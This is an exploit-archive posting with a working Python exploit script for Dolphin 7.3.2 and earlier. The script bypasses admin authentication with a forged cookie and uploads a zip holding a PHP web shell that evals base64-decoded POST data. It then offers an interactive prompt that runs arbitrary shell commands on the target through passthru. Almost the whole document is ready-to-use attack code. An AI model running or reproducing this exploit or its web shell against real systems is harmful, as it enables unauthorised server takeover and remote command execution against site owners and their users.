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Dolphin 7.3.2 Authentication Bypass / Remote Command Execution

Dolphin 7.3.2 Authentication Bypass / Remote Command Execution
Posted Nov 14, 2016
Authored by Ahmed Sultan

Dolphin versions 7.3.2 and below suffer from authentication bypass and remote command execution vulnerabilities.

tags | exploit, remote, vulnerability
MD5 | 4f39164bbf209b6372b5cb04cee8030b

Dolphin 7.3.2 Authentication Bypass / Remote Command Execution

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : 0x4148@gmail.com
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
lmt = '---------------------------'
crlf = '\r\n'
x4148mltprt = []
x4148mltprt.append('--' + lmt)
if fields:
for (key, value) in fields.items():
x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
x4148mltprt.append('')
x4148mltprt.append(value)
x4148mltprt.append('--' + lmt)
x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
x4148mltprt.append('Content-Type: application/zip')
x4148mltprt.append('')
x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
"<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
"\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
"PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
x4148mltprt.append('--' + lmt + '--')
x4148mltprt.append('')
body = crlf.join(x4148mltprt)
content_type = 'multipart/form-data; boundary=%s' % (lmt)
return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
err=e.fp.read()
print err
sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
print " - Exploitation failed"
print req
sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
request=str(raw_input("\nphp>> "))
if request=="exit":
sys.exit()
if request=="shell" or request=="cmd":
print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
while True:
cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
if cmd=="return":
break
if cmd=="exit":
sys.exit()
kkk="passthru('"+cmd+"');"
data = urllib.urlencode({'0x4148':kkk.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
print urllib2.urlopen(req).read()
data = urllib.urlencode({'0x4148':request.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
print urllib2.urlopen(req).read()

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